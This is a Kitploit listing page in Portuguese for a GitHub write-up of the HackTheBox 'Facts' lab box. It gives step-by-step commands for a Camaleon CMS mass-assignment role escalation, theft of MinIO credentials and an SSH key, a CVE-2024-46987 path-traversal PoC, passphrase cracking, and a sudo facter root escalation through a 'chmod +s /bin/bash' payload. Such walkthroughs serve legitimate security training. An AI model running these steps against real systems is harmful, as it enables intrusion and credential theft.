Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
HackTheBox-Facts — HTB Facts is a Easy Linux box featuring Camaleon CMS and MinIO. Gain admin access via open registration and a mass assignment vulnerability, then extract MinIO credentials from admin settings. Use CVE-2024-46987 path traversal to steal an SSH private key, crack its passphrase, and escalate to root by abusing sudo permissions on facter via GTFOBins. | Kitploit
Ferramentas/GitHubGitHub/suriyaboon/hackthebox-facts
Privilege EscalationReconnaissancePassword AttacksVulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingCloud Security

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

HTB Facts is a Easy Linux box featuring Camaleon CMS and MinIO. Gain admin access via open registration and a mass assignment vulnerability, then extract MinIO credentials from admin settings. Use CVE-2024-46987 path traversal to steal an SSH private key, crack its passphrase, and escalate to root by abusing sudo permissions on facter via GTFOBins.

Learning & Education
GitHubsuriyaboon/hackthebox-facts

HackTheBox-Facts

Ver Repositório
há 2 mesesAinda não revisado
Compartilhar

HTB Facts — Writeup Completo

Dificuldade: Média
SO: Linux
Tags: Web, MinIO, Camaleon CMS, Path Traversal, SSTI, Escalação de Privilégios


Índice

  1. Reconhecimento
  2. Enumeração Web — Porta 80
  3. Descoberta do MinIO — Porta 54321
  4. Camaleon CMS — Acesso Admin
  5. Escalação de Privilégio para Papel Admin
  6. Descoberta de Credenciais MinIO
  7. Leitura Arbitrária de Arquivos — CVE-2024-46987
  8. Acesso SSH como trivia
  9. Escalação de Privilégio para Root
  10. Flags

Reconhecimento

Comece com uma varredura completa de portas TCP para identificar serviços abertos.

root@kitploit:~
nmap -p- --min-rate 5000 -T4 10.129.244.96

Resultados:

PortaServiçoObservações
22SSHOpenSSH
80HTTPNginx 1.26.3 (Ubuntu)
54321DesconhecidoIdentificado como MinIO

Adicione o alvo ao /etc/hosts:

root@kitploit:~
echo "10.129.244.96 facts.htb" >> /etc/hosts

Enumeração Web — Porta 80

Navegando para http://facts.htb revela um site de trivia construído em Camaleon CMS (Ruby on Rails). Indicadores-chave:

  • Nome do cookie: _factsapp_session (sessão Rails)
  • Caminhos de recursos: /assets/themes/camaleon_first/
  • Token CSRF em meta tags
  • Servidor: nginx/1.26.3 (Ubuntu)

Enumere o sitemap para todas as páginas disponíveis:

root@kitploit:~
curl -s http://facts.htb/sitemap.xml

Caminhos notáveis descobertos:

  • /admin → redireciona para /admin/login
  • /rss
  • Várias páginas de trivia: /animal-ejected, /anne-frank, etc.

Verifique o painel de login admin:

root@kitploit:~
curl -v http://facts.htb/admin
# → redirecionamento 302 para /admin/login

Descoberta do MinIO — Porta 54321

Ao sondar a porta desconhecida com curl revela o MinIO, um serviço de armazenamento de objetos compatível com S3:

root@kitploit:~
curl -v http://facts.htb:54321

Resposta:

root@kitploit:~
<Error>
  <Code>AccessDenied</Code>
  <Message>Access Denied.</Message>
</Error>

Cabeçalhos confirmam: Server: MinIO

Enumere possíveis nomes de buckets (todos retornam 403, confirmando que existem):

root@kitploit:~
for bucket in facts backup uploads media files images data private secret admin internal; do
  code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
  echo "$bucket: $code"
done

Todos retornam 403 Forbidden — os buckets existem, mas exigem credenciais.


Camaleon CMS — Acesso Admin

Identificando o CMS

A partir dos caminhos de recursos e do cookie de sessão, o CMS é identificado como Camaleon CMS.

Verifique vulnerabilidades conhecidas:

root@kitploit:~
searchsploit camaleon

Resultados:

root@kitploit:~
Camaleon CMS v2.7.0 - Injeção de Template no Lado do Servidor (SSTI)   | ruby/webapps/51489.txt

A versão do painel admin é confirmada como 2.9.0 (visível no rodapé após o login).

Criando uma Conta

A página de login admin em http://facts.htb/admin/login inclui um link "Criar uma conta". Registre uma nova conta:

  • Navegue para http://facts.htb/admin/users/sign_up
  • Preencha quaisquer credenciais válidas (ex.: test123 / test123)
  • Envie — isso cria uma conta com função Client

Após o registro, faça login no painel admin. A conta tem privilégios limitados de Client.


Escalação de Privilégio para Papel Admin

Vulnerabilidade de Atribuição em Massa

O Camaleon CMS é vulnerável a um ataque de atribuição em massa no endpoint de alteração de senha. Ao interceptar a requisição de alteração de senha e injetar um parâmetro password[role], um atacante pode escalar seu próprio papel para admin.

Passos usando Burp Suite:

  1. Faça login no painel admin com a conta Client.
  2. Navegue para Profile → Edit → Change Password.
  3. Insira uma nova senha e clique em Process.
  4. Intercepte a requisição POST no Burp Suite.
  5. Adicione &password[role]=admin ao corpo da requisição:
root@kitploit:~
_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
  1. Encaminhe a requisição — a resposta deve ser 200 OK.
  2. Faça login novamente com as credenciais atualizadas.

A conta agora tem privilégios de admin, concedendo acesso total ao painel admin do CMS, incluindo Settings, Media e Filesystem Settings.


Descoberta de Credenciais MinIO

Com acesso admin, navegue para:

root@kitploit:~
Settings → General Site → Filesystem Settings

A página revela credenciais MinIO (compatível com AWS S3) codificadas:

root@kitploit:~
AWS S3 Access Key:    AKIA59D605615FFC8875
AWS S3 Secret Key:    O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name:   randomfacts
AWS S3 Region:        us-east-1
AWS S3 Endpoint:      http://localhost:54321

Configure a AWS CLI e enumere buckets:

root@kitploit:~
export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'

aws s3 ls --endpoint-url http://facts.htb:54321

Buckets descobertos:

root@kitploit:~
2025-09-11  internal
2025-09-11  randomfacts

O bucket internal contém o diretório home do usuário trivia:

root@kitploit:~
aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321

# Baixe a chave privada SSH
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321

Leitura Arbitrária de Arquivos — CVE-2024-46987

Alternativamente, a chave privada SSH pode ser recuperada via CVE-2024-46987, uma vulnerabilidade de path traversal autenticada no Camaleon CMS que permite ler arquivos arbitrários do servidor.

Clone o PoC público:

root@kitploit:~
git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987

Leia arquivos sensíveis:

root@kitploit:~
# Passo 1: Leia /etc/passwd para enumerar usuários do sistema
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd

Saída (linhas relevantes):

root@kitploit:~
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash

Dois usuários são identificados: trivia e william. Como trivia possui um shell de login e um diretório home, verifique a existência de uma chave privada SSH:

root@kitploit:~
# Passo 2: Leia a chave privada SSH de trivia
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519

Salve a saída da chave em um arquivo:

root@kitploit:~
chmod 600 id_ed25519

Acesso SSH como trivia

Quebrando a Frase Secreta da Chave SSH

A chave privada SSH está criptografada com uma frase secreta. Use ssh2john e john para quebrá-la:

root@kitploit:~
ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt

Frase secreta quebrada: dragonballz

Login via SSH

root@kitploit:~
ssh -i id_ed25519 [email protected]
# Digite a frase secreta: dragonballz

Recupere a flag do usuário:

root@kitploit:~
cat /home/william/user.txt

Escalação de Privilégio para Root

Permissões Sudo

Verifique os privilégios sudo para o usuário trivia:

root@kitploit:~
sudo -l

Saída:

root@kitploit:~
User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

O usuário pode executar /usr/bin/facter como root sem senha. facter é uma ferramenta de informações do sistema baseada em Ruby.

GTFOBins — facter

De acordo com GTFOBins, o facter pode carregar arquivos Ruby personalizados via --custom-dir, que são executados como o usuário invocador (root neste caso).

Exploração:

root@kitploit:~
# Crie diretório de exploração e payload Ruby
mkdir -p /tmp/exploit_facts
cat > /tmp/exploit_facts/evil.rb << 'EOF'
system("chmod +s /bin/bash")
EOF

# Execute facter como root com o diretório personalizado
sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts/ x

# Verifique se o bit SUID foi definido no bash
ls -la /bin/bash
# -rwsr-sr-x 1 root root ...

# Abra um shell root
/bin/bash -p

Recuperar Flag Root

root@kitploit:~
whoami
# root

cat /root/root.txt

Flags

FlagLocalização
user.txt/home/william/user.txt
root.txt/root/root.txt

Resumo da Cadeia de Ataque

root@kitploit:~
Varredura Nmap
    ↓
Porta 80: Camaleon CMS 2.9.0
    ↓
Registrar Conta Client → Painel Admin
    ↓
Atribuição em Massa: password[role]=admin → Papel Admin
    ↓
Configurações Admin → Credenciais MinIO Expostas
    ↓
CVE-2024-46987: Path Traversal → Ler /home/trivia/.ssh/id_ed25519
    ↓
ssh2john + John → Frase Secreta: dragonballz
    ↓
SSH Login como trivia
    ↓
sudo facter --custom-dir (GTFOBins) → chmod +s /bin/bash
    ↓
/bin/bash -p → root

CVEs e Referências

CVEDescrição
CVE-2024-46987Camaleon CMS path traversal autenticado / leitura arbitrária de arquivos
CVE-2023-30145Camaleon CMS v2.7.0 SSTI via parâmetro formats (não usado neste box)
  • GTFOBins — facter
  • PoC de CVE-2024-46987
  • GitHub do Camaleon CMS
Baixar ferramenta